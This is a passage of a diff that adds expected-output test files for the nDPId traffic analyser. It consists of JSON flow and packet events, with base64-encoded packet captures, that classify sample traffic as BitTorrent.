gy4eRYraaocRpW0sfvUR6iuqiv+YuFe23UcARD1MzX89r9Pqnn0uUqWHdBX1RMbXiJNM9p\/OZopoJt9CcmJCeQQSDfQ54Gp0X2zmg8wPFDK1j7x9evmBUugWEINgGNyYPbZSqqQPGJKFul+APHwMB\/e0TdEJdYpVQIIDs1XsoSPFRfWz9iw4wvTzHPuTiyaJ6Tq4bTCTzElNjsRfucxMf+x4Ywp5FYPGXtnxvAuD6eIhG\/kyzq5Supk1617fJkAiIu4CkconfOmjEZFiZE4uHystG9j35kC4W540\/SwJW3StS+LmWiCar0rUIu6JijDNNXJHyst7HXeYGtAQjVfV66c8949MNnPTuFaWJQuZO5So62FiVqFR66gi1DYgLUnOEIhgpQVrDf0twDRJab83FNdfgGO7Bb1sPfPNS9nCOXg69WlwMOZNuwfdEBzRQZh1jTwm+V3QeGa688XXwoCyw1Ui4bEG6iFLD2qfbC0RXGN2xQ1KMP7wNtji+4y\/fIVYE\/SSXqhY2rvALBwXX7dVmLsB\/nhh1ElYiixZsQc4LLRuEI7C4wNY41TWTxqctVTLGEVFbTOMmC\/B0XV08F\/B7nkJfEljRQhI5qj4WuPp9hpWTkXBqAcN0C5f8Iv2jmJmjtGZb0Jup1EXWjOHZgG2Q\/3LPguq5nGhJd9rbXy\/\/xKepFZug1E2b0m1UUkcsYKn2wiIsbBRMN0RXLHhePrPMh1L5A74EH5ZI4822Yj\/+Q+Rd88fs6x6LZEORvyHkTBSCvaKF44JJvT20AmMEOy55eM9EuHyN5QxsIcaPHK+lIRaQetnFiJR\/1nAGGzrLFZWvM2DCN7qfWq0gxuctkzLeUmDtid\/wiRe1Su6jPgLmvN4IcKNRFRfqVq0si5tKXpHHLvPr+pF0lh2cGvX5hW8ZRDigB7vaMl929szLAd3uvLpHStMbCarv8ttOBwzijndxc5B7momwCbagnrUZbe2I2P3ZWriHo="} +02401{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"bittorrent_ip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492508991,"pkt_ts_usec":655744,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"GM9eF7izpL8BAjLCCABFIAXcXPJAAFYGvAlN3q4UCgAADgsythIFgBUAyg3zkIAQAQQckAAAAQEIChotFWoAapAXQqfs4951UPgQjtWcc7XkLGEcTtrnWKY8YcjWg1zDYq0+HA\/zxgaRsMJn\/n+CeumnCJzindNJpOTgOVtgvUlU2kmsqTy5Bk+afIkIOuL\/OCqTFVHQX9Mdpo3qW+FWTFwu8cRKKTnU+NuZSVAzXHal5G2W8QZRXPsfhAXMG88CYNYYDIZjdGDEFrdaLpvZnw7NtuOuN7y1RDfmhvOF4YYaFvHhFIa86u1y9kUWJ7Vi4tW2rtxyKEF\/9RzepW49GNWZohnn1YZ9g\/Y+6DNkOxJ3YlSuUWGFcwbX9RfVj6Kb5mlU4VlRRzhUaXqgA\/zbyG0P+j6i\/eCu9izQfAcZZwryEG8y7m6wT8xznAkHdZUheiC1Uwen7ogrkEDtxQLIlOM4esZuCP2VEwOtHU\/H0CWf6YfDz6bXIMukkHs2FzQTj8oOeu81o\/uW8y9SNgxVQiF1MtQ6huy7qtHC6b5PIZpOg\/iPRlXbPIpG2qKspXpH6JGhAcSVpTlKQYLUqoR3WeY4x2y9Yk9XU9uwsDHlgSDTOwSBppN+ZtBKsaxAhtZWd78gsoK\/PMPzg\/5l+GNGiN46pbqLXGUJ7qU7zyXercDy+tlwOixEtLKAD\/s9eg7gPOBQMbDEjHdh8fSoIHlZD2hi8JUGIHdiH4jl+h5lDyaVy7ZGHPvyaMiV1Jx+\/GkLQXLU6pVm4EV1sdW9pMkOn5hR005NOtOTBpkrnPNHxH5lWGAI8B4\/AIRHFDBPrmMRwCSOzAWIfZC\/mGptnZq+1VF6k93h5yqAQhvHNAxDDvadxPVlJbo8pehy\/jR+ZQZBL9oWfisycvMImCT9R3z7pXPRBs8mAZkV+x9SaIU6q+xUJP2YonNqXyBRSvGK\/bF2nD00vpThESNVKCFwk0RyU+04xctfrhhHvlUwObkBHA6csMxkd8nEKM9RiVa+IyZdl166V\/qhToJP3SfQOYlq+uJfwJ1D55gRhI\/UXBzyVwGqd7mrh7UfQAJ1Zx04BcrfTyJQlGG4eEPp8haWNwr5zKQcNNskkPZDk1GRwUszwuWaHIHbmJn5sZ3l1wF38Sot08\/CEPNbGTvnyczb9rYrQGcshZm9CdF6GCKBv72zyehvRGxS5pwKPnGq1Xgm1HhxHt7XupaiErpt6KOuB8vIz0N3lAqWer9CmpQn0yeBhktFAfwXLWu\/gA11kK5BEnzkJM9bEStTm5es\/qpON8FuqVXj\/8FWn8XfaP7UPGyHGw\/vjbRVeTb7BJpw3RvkfdJWOp52xqE4UVqmmVckGGZh4CIdqKckBQDrxmIHL6ePayXu8GbDUNUA4OOTa87wHPosULCYTaY\/ECbwp14GGqTjqPlieMUmALNtGt+1p5paV+k8+RQEHHWkRRYXimzjILOX2+ehdCXm7qxHopY3CYsJpimimaXPkFRVmn5W1M3sVuOYWhAVIbD5ydrzRxD\/uMIC4dtHwbWJsK3\/aQcpyE0x6Vl2ZH7FSzD8nSA7t5ldBuL0dkyWEtpcDdx6QfdhuPfwEY+ce9B3pgUqzfPyNJOZlyWTfa95LlUnyePdkDu6Pu4V2frCZPrmZnbuwprQPJuefEGBqPrAorpue5zAcAOS3L6vw7mI7oFVjNaXEFRcEnrGA6hzT1Kh\/GYMvnFQRkOT\/OAWNlehBKE4BHWuQo1SWyd+DfV2NXomtzHsWlmwepVGt6ZSJ+B36Gdnj3m7is7D1g8pau0Hd6hKydbPJo7hLHekPNrvhzxJWRd0frBc0kVxt1P9lT9rfzG12\/eShPbi1mzliS8MfgTCXUBIdWuZBntQF4rtiQXU6EkF\/Effakmg3XdVVYdLX2NFjhM5qKLlLJ4T9eP\/RQiTa51Qm5w6jhbiv8Fvk9GducqnU94ma66kY9yzVclMSYjIneOu0ZQlr5wpdL+8+FrEss5OcpEbE8nJJTGC2D4WPJc="} +00430{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"bittorrent_ip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492508991,"pkt_ts_usec":655766,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pL8BAjLCGM9eF7izCABFAAA0sWRAAEAGg18KAAAOTd6uFLYSCzLKDfOQBYAaqIAQX+uwlAAAAQEICgBqkTAaLRVq"} +02394{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"bittorrent_ip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492508991,"pkt_ts_usec":662177,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"GM9eF7izpL8BAjLCCABFIAXcXPNAAFYGvAhN3q4UCgAADgsythIFgBqoyg3zkIAQAQTQ7AAAAQEIChotFWoAapAXTPv37xKBkoPcElMXJP4F6GkLBpIwNvPUyhbAXIPXCxH3rsfyP2Mf60BHbSeuspLgDZ\/KA0RID2XY68rmNpCJj+1ifQEadclYnN9QraJ9Hk9mmtVWe4LhShrgqO\/L6UEo2iBw6\/hvVzJzWX9X\/6KszxZb23GyMbco0bUU61\/2zjDsTp7WWwO0eZWK+7yS6XZFQIajjf15D8hKQw4r75p\/Hil8m3+nJ6DaIx5SHxDNbcNODJAT\/uGSnovNzrmQCIXkAaj43ukrVXAdcVhDz+U409jOs9SBUNE8SeJ205EpV5+CG4J6\/yNfKdGED75RIUfsR57433WxaBIezraHpW38aY4eX84kX5tSqALijjwQaQ4GJ4b8hKqOhKGpjNs77PesVmEJrFTm8VixZzBOHQ77zLEDSVP8v4xTHrXKNpK+ZnWA9jaukBJBf+VaDBOxLsdiV3BqAneXxMsDzWW8u3E8GU2JXZjubG6DKFS\/tOnsOQarpWkt9hDAYcn7FSRgdyebve3gt7jHdSeQrTUY1dVzg5ehZUXUHqjX0r9C9i6tgABOQCim2IdjSaeV8hpRwCNvyC84rnTTvYotr2HcujGIUMJ3kfwQdSqhRfz9OXDyC6MX0adDDXV6JIjCkKCmfKs3uG6C9zmEUmIqhLMfEu3xhONN3Z0FBt+zc4ZES2qixYTgce0+UcZ\/rZq3NxqhdKqYguk+KFgDEVZYWAZSReWhUBdlNcD\/sLsSzSL4hTHS1P3Kkhyv8+FqHTCZR20ozKNMw7voSOFfi0hzNMNZ3DbqO6TZWHn9sdpivnCwEl9y9gd0+b\/3AwNoQ+DAdSEYmmUNqhIl5QezNikwirjGfA5oSXbTps7oT8rTnuaPRiOP6dYBe6IEhaHZcF5fB11Ok1GBo3s4Rq+mcGOTeb5OeTcCwCCgBLEQ6EqvMZWZTx8vy7MOMAARWCBSh3tNHOif34oMOskf9lpTaIQqCx8kzFSqnBW8lm2c2FMP3oj3MiVpZ1Pk0Oj9pI4c5SJchAOMXIE+mIDd7c9vxlb+TyRgzkrarmo1UFRee8+0DBTfrgkl5pxOvUyxkAX+ezFKu6p7WqNCMQ2XJrbEVJW8flwrbk2O51h3E68KhZF4oz5pOzlrC7yK9lTq+cdmQwDag4Iz6\/dy35t1GcC+GH+JXLOwIiA6l2E\/I+AR8Bxx6kKblK3TuhHrmOAEF0VvwReAMAxOncr0VW8CYRJKlSQCwDdE0qDKPYFToKkrO29WGtSfr0qfQDNOuk4PGAp6OaxVIk2x34oLtOz+xXds01bfe5+8VSie3cerqt\/aJQuFf9WPL44LmbvACsRg6JgerrcOsO0zz8hp3N5iY6u7RI9s7h1YY+uzpp2RLlUjuBKRL23q2lctRA8O9XaSEfCd4DfJITDxEtTqsxPNGTQYvBYMLMts8fxKM\/qmaFGrEF\/F2Z\/eVPygQJLn0T9AnmeomiQOOUdDyht5Mt\/fcxM16dRXlzqVdaKap4D9z63aJfjmUp\/AWMcMWJg7fUkBZTSB008KTAc+fJz5od9gZzUNjqeizGF3BIGR5EFdTFPpX\/irlzCphDdnQe7WrGMCD1wxlOeoTD+gh5mhVHwEBzDrYcryeDvGP+PdHrJZZAWJ1nsr2gqpDZVWJ2xVadt0P+h\/GDGfUod1FtVZBG\/QSDxR7iqJVl4KNOEvtCmld4Kk8gdRZZpB87TiKNJuW81HmI2hyNPY9Tvgas6JDOzbDec7TiryT6HZmHkq5GCRb4Tc46fJAx2ipoDbLdX75fyAA+QJwvEPh7hoIklnuh+MtZz\/9WX43JGNxqzEs4yHkBBuGVNHC9RTC\/amzwJSC0oV0Pb4I79iKSPPyAtT6fbZkQF0VFWQU0nOaW9Zmnw2CiH0I9xCDrZYeHB4SrTQyO7XsArVkw9vdLyyhhUjrUnnW9yk4\/o="} +02399{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"bittorrent_ip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492508991,"pkt_ts_usec":662203,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"GM9eF7izpL8BAjLCCABFIAXcXPRAAFYGvAdN3q4UCgAADgsythIFgCBQyg3zkIAQAQQ3QgAAAQEIChotFWoAapAXYNOsn7lwbwgXErTPWnqHh1cl69dM2t2JJ4jmOcSnHYWJHX3dJ2IbVMw73tm6RhzQ37XmqEPvCmoYGyw69iDhYe+2b9SGubuLVyPTiKywe\/C92yKYICgV3TQzuGAnNC\/RYvE6WsIR+06b6F73RqsePJ7BFhgzUWaPSRSnwtsFtQZXlwaa2z7xMucEQfrw7PBKF6JXxhAcZgBDq9tGmnnt79PSPtGLNwCoGbMr7IlTUHvmiQbEF0BkjOIR9CREqChtHEtror7tBdmyzgsXX7d5B2lnP069nRDIyKxRbrIULeVH7iCXxLYpKQROdB5VUppMlSTgNGBOudBdcGCUtuFz7GbqdaxJCdv3x2GOP0a7t8+cYW1nWSXI3h5O1j3rNIXpzd4IvdndVS5FlQfsTTt0QHE74QtLqR\/O7Ft97z7lEGWS+WEIkSGTwUtrEOrpfUQ35NdK7TUod30ErQjccBRXTnv5Fz2ZBQ7fNLswuq5x8uVHKtSCpVmNt0+dZoZpJpg6L6x80UQEpBZepgbu94HM\/dJ\/hEMASN3wCswf8acbuHuYkWQYkFbuzdM9DnyYfKkxFx10BMEagMOhdYdRFV4PkEHTJQz+\/Fx7q5yngGQE6bRZ\/b3IBWul9igmEYFszK\/5b04G6C7hyE5cUOqtsSsIIR83HaX18R+H7pG8Hr1cEYLzI2oQ4gAxsLpLe\/ohICfLM4tSUNx1kqMgp\/lRs20I0vNSDnLy0omLjYc6SXbtCw7iCv8VTGLmfl+qnKOieBEurv\/36cS17VqM90Svc9MGGlAKh33+BXHiS6f9r2\/esj5e5mSiS1NPpBFUHiOzzyfbZm+oMIhtPCRkolGkSDQwqVRhFTf02\/qFunpdTBFN7c\/BH76diOgZPz+Rue2ziTL5NKv+jalBU7QjPQt2Rxduaz7NfMLZu35DJYutzypJioTmqNrYv4J8mOl6\/FPp2345\/6IGrYSjpGmTAQYDlW0QDu5iLD9TbgSE+svxuhBBd6vr0OwxaoSQqxbOLedBX+j8e2\/O3zd2pe+PuV1KoglCy8DyvSIR8d\/rezcejg9HwBuiSti1u83wn9jHghW96buN0BVyD3FeqcAADooPtJTFw8lcNOsHy6jxEBZCWKwhMLzNsN4yHt4+hRIDfkC5AyA55XsGoJ1Nko4yOewoN+WrXd0AewLO8Du2bSHPeoq2jMtOxc9UESatwsvIjPOR197ghQiUhBJVrNSkpMcjrbhPpEutm2Altzoi8gS7voI5iEg+DtP07gnzuTSC76hE5AsovHX8knu\/e5XxbHehHyc7jZ9GPR1l7xzC\/Y5sOIMV+jNxVIhBuvCEE5JrIIFJIbkEJqYyxE069rUf6UCpadFw5VhkcIjwSDPMwpU6TzNZ0yCdQSByLwH7\/jCujElqw3o1qHEttVlgR6KOEG4DKVm3bhbS6lRjvllQIrcfsDxztiYCDEfVqHa72Hhx0Eds+y\/wQCyQdVz\/FHnq8iYyTf\/GePJz1H4HKfILJqqcHRjtuT2odIv+Nm\/hELYDXaBYO3em2jmCNUvruQomTUZoOdkn24MD9503F9rQtW1BPYGzI9w93UNLkyKgQbq9qk5sALPFYAlQMCagNniGZhDXD35b3Vc2qjebOGhcz\/Hk+cCAaNmdm5KSGQQOqSNZsyhex\/ptVCJl5FVE2GPnyqG8SJRuMLzuL\/LRO+DCGcL3j38PzGcSNZg+qMnrfekvZEhgQfQFT\/BRHDsUExwBRHOZ6pKMLEV0PRJYOCMsV8U9fvq3suA+W++1Uf9beaH9QD7PptNameLfjiupm4iKR80Lt9MJbVdbycEMiMEE89BlhXTY83Y4EG\/l4R4OgIiMo4SXLhlDNY9\/4MM1p2UwOwo4gzZmV520IvMBJmkQE5hkEeSP+hUwb6AKm5XmcfeBbn865ZYi7j+Oz7xF97U="} +00589{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":303,"source":"bittorrent_ip.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":255,"flow_first_seen":1492508991649,"flow_last_seen":1492508992859,"flow_tot_l4_data_len":267352,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1048,"midstream":1,"l3_proto":"ip4","src_ip":"77.222.174.20","dst_ip":"10.0.0.14","src_port":2866,"dst_port":46610,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":""}} +00590{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":303,"source":"bittorrent_ip.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":255,"flow_first_seen":1492508991649,"flow_last_seen":1492508992859,"flow_tot_l4_data_len":267352,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1048,"midstream":1,"l3_proto":"ip4","src_ip":"77.222.174.20","dst_ip":"10.0.0.14","src_port":2866,"dst_port":46610,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":""}} diff --git a/test/results/bittorrent_utp.pcap.out b/test/results/bittorrent_utp.pcap.out new file mode 100644 index 000000000..2e5f089ce --- /dev/null +++ b/test/results/bittorrent_utp.pcap.out @@ -0,0 +1,17 @@ +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"bittorrent_utp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1456385034843,"flow_last_seen":0,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":112,"flow_max_l4_data_len":112,"flow_avg_l4_data_len":112,"midstream":0,"l3_proto":"ip4","src_ip":"82.243.113.43","dst_ip":"192.168.1.5","src_port":64969,"dst_port":40959,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00542{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"bittorrent_utp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1456385034,"pkt_ts_usec":843882,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"xCwDBkn+LFbcjDU0CABFCACEN6IAAHARjPNS83ErwKgBBf3Jn\/8AcJbNZDE6YWQyOmlkMjA69\/YAfOoTUG5RTefsvJTyrlFxFfg5OmluZm9faGFzaDIwOvf2AdimJ292LCw98nSvKCf40fHeZTE6cTk6Z2V0X3BlZXJzMTp0MjoOYTE6djQ6TFQBATE6eTE6cWU="} +00574{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"bittorrent_utp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1456385034843,"flow_last_seen":0,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":112,"flow_max_l4_data_len":112,"flow_avg_l4_data_len":112,"midstream":0,"l3_proto":"ip4","src_ip":"82.243.113.43","dst_ip":"192.168.1.5","src_port":64969,"dst_port":40959,"l4_proto":"udp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":""}} +00543{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"bittorrent_utp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1456385039,"pkt_ts_usec":236076,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"xCwDBkn+LFbcjDU0CABFCACEPR1AAHARR3hS83ErwKgBBf3Jn\/8AcOi+ZDE6YWQyOmlkMjA69\/YAfOoTUG5RTefsvJTyrlFxFfg5OmluZm9faGFzaDIwOvf2AbAuK1Rd0f1URppB\/xHRD5bKZTE6cTk6Z2V0X3BlZXJzMTp0MjoZ4TE6djQ6TFQBATE6eTE6cWU="} +00426{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"bittorrent_utp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1456385040,"pkt_ts_usec":274000,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"xCwDBkn+LFbcjDU0CABFCAAwPfxAAHARRu1S83ErwKgBBf3Jn\/8AHJxJQQBTAhDusvAAAAAAAAAAAOf1AAA="} +00447{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"bittorrent_utp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1456385040,"pkt_ts_usec":274157,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"LFbcjDU0xCwDBkn+CABFAAA60g0AAEARAADAqAEFUvNxK5\/\/\/ckAJoYDIQJTAgb\/P19\/\/\/\/\/AADwAEnH5\/UACAAAAAAAAAAA"} +00710{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"bittorrent_utp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1456385040,"pkt_ts_usec":390819,"pkt_caplen":252,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":252,"pkt_l4_len":218,"pkt":"xCwDBkn+LFbcjDU0CABFCADuPhxAAHARRg9S83ErwKgBBf3Jn\/8A2oQHAQBTAxDwaHYJ8SkXABAAAOf2ScYTQml0VG9ycmVudCBwcm90b2NvbAAAAAAAGAAFDKTI5\/smo1Sxp6oVuuryYGfGaBEtTFQxMTAwLTFGYTUzMVJ0THV2dwAAAHEFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/ff\/+\/\/\/\/v++\/7\/\/f\/f\/\/\/t\/+5gAAAAAEB"} +01043{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"bittorrent_utp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1456385040,"pkt_ts_usec":391077,"pkt_caplen":519,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":519,"pkt_l4_len":485,"pkt":"LFbcjDU0xCwDBkn+CABFAAH5vREAAEARAADAqAEFUvNxK5\/\/\/ckB5YfCAQBTAgcBB+f2EJ8pAADvhknH5\/YTQml0VG9ycmVudCBwcm90b2NvbAAAAAAAEAAFDKTI5\/smo1Sxp6oVuuryYGfGaBEtVU0xODYwLUGOUqE93xyYpzPZIwAAAPoUAGQxOmVpMGU0OmlwdjQ0Ok8YvgM0OmlwdjYxNjr+gAAAAAAAAMYsA\/\/+Bkn+MTI6Y29tcGxldGVfYWdvaTFlMTptZDExOnVwbG9hZF9vbmx5aTNlMTI6dXRfaG9sZXB1bmNoaTRlMTE6dXRfbWV0YWRhdGFpMmU2OnV0X3BleGkxZTEyOnV0X3JlY29tbWVuZGk1ZTEwOnV0X2NvbW1lbnRpNmVlMTM6bWV0YWRhdGFfc2l6ZWkxODE4NWUxOnBpNDA5NTllNDpyZXFxaTI1NWUxOnYxOTrCtVRvcnJlbnQgTWFjIDEuOC42Njp5b3VyaXA0OlLzcStlAAAAcQUEAMACAAEAAAQAAAAAAgAAAAAAAIgAAEAAAAAAAETBAAAAIECASAAEIAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQQAAABOAAAABQQAAACx"} +00429{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"bittorrent_utp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1456385040,"pkt_ts_usec":491548,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"LFbcjDU0xCwDBkn+CABFAAAwWbEAAEARAADAqAEFUvNxK5\/\/\/ckAHIX5IQBTAgcCkIz2EJ8pAADwAEnI5\/Y="} +00427{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"bittorrent_utp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1456385040,"pkt_ts_usec":631260,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"xCwDBkn+LFbcjDU0CABFCAAwPkdAAHARRqJS83ErwKgBBf3Jn\/8AHNIuIQBTAxD0KXQJ8yGNAA\/+N+f3Scc="} +00505{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"bittorrent_utp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1456385040,"pkt_ts_usec":631446,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"LFbcjDU0xCwDBkn+CABFAABnWmcAAEARAADAqAEFUvNxK5\/\/\/ckAU4YwAQBTAgcEst72EIlfAADwAEnI5\/YAAAADCZ\/\/AAAAAQIAAAANBgAAA3gAAAAAAABAAAAAAA0GAAADeAAAQAAAAEAAAAAABQQAAAFc"} +00711{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"bittorrent_utp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1456385040,"pkt_ts_usec":635723,"pkt_caplen":271,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":271,"pkt_l4_len":237,"pkt":"xCwDBkn+LFbcjDU0CABFCAEBPktAAHARRc1S83ErwKgBBf3Jn\/8A7fO6AQBTAxD0LVwJ8yGNABAAAOf3SccAAADNFABkMTI6Y29tcGxldGVfYWdvaTBlMTptZDExOmx0X2RvbnRoYXZlaTdlMTA6c2hhcmVfbW9kZWk4ZTExOnVwbG9hZF9vbmx5aTNlMTI6dXRfaG9sZXB1bmNoaTRlMTE6dXRfbWV0YWRhdGFpMmU2OnV0X3BleGkxZWUxMzptZXRhZGF0YV9zaXplaTE4MTg1ZTE6cGk1NjQwMGU0OnJlcXFpNTAwZTE6djE4OmxpYnRvcnJlbnQvMS4xLjAuMDY6eW91cmlwNDpPGL4DZQ=="} +00430{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"bittorrent_utp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1456385040,"pkt_ts_usec":746279,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"xCwDBkn+LFbcjDU0CABFCAAwPlpAAHARRo9S83ErwKgBBf3Jn\/8AHOlzIQBTAxD18oMJ8T+lAA\/\/yef4Scg="} +00431{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"bittorrent_utp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1456385040,"pkt_ts_usec":746456,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"LFbcjDU0xCwDBkn+CABFAAAw5oQAAEARAADAqAEFUvNxK5\/\/\/ckAHIX5IQBTAgcGdEb2EIG0AADwAEnJ5\/c="} +00545{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"bittorrent_utp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1456385040,"pkt_ts_usec":747238,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"xCwDBkn+LFbcjDU0CABFCACEPltAAHARRjpS83ErwKgBBf3Jn\/8AcGQkZDE6YWQyOmlkMjA69\/YAfOoTUG5RTefsvJTyrlFxFfg5OmluZm9faGFzaDIwOvf2AKNLQi81\/RCcQj+jdmBNANVsZTE6cTk6Z2V0X3BlZXJzMTp0MjpdRzE6djQ6TFQBATE6eTE6cWU="} +02397{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"bittorrent_utp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1456385040,"pkt_ts_usec":805866,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"xCwDBkn+LFbcjDU0CABFCAXcPl4AAHARgN9S83ErwKgBBf3Jn\/8FyCGxAQBTAxD2SHQJ8T+lABAAAOf5Scj8LyukouNrwUcnHBaQa20z\/P8AHdLMNu2WZZdo9jx61Mq\/MnSVXq2PKIiIiIqkREqCICikREIiiqqIuK2Faz6fbus+dzXd1q9It9ttDyt2LCbJbJYs9CdF1xFJiOaAwo8M8oayXEFOzo+IFP1dXNRdtGgGqGm2re2HIpDt9sNzFq64iUaejM2EYOo84Mmc0StETZFHJE7\/ACeAwECbJTt\/vt3\/AOVaUZNedM9GsckX\/NrNbHLnkt4K2uymbDEVhDF0QROCIBeadJ1xFZbRQEkcUyRvn756mkPINsuPWTS+7XDPdx90ssKKdut2NSHzYn+3E58lW\/EDR+NAfIUbRwe\/RehNIfHQenrkm5SyauajYTrzZcolR5LKX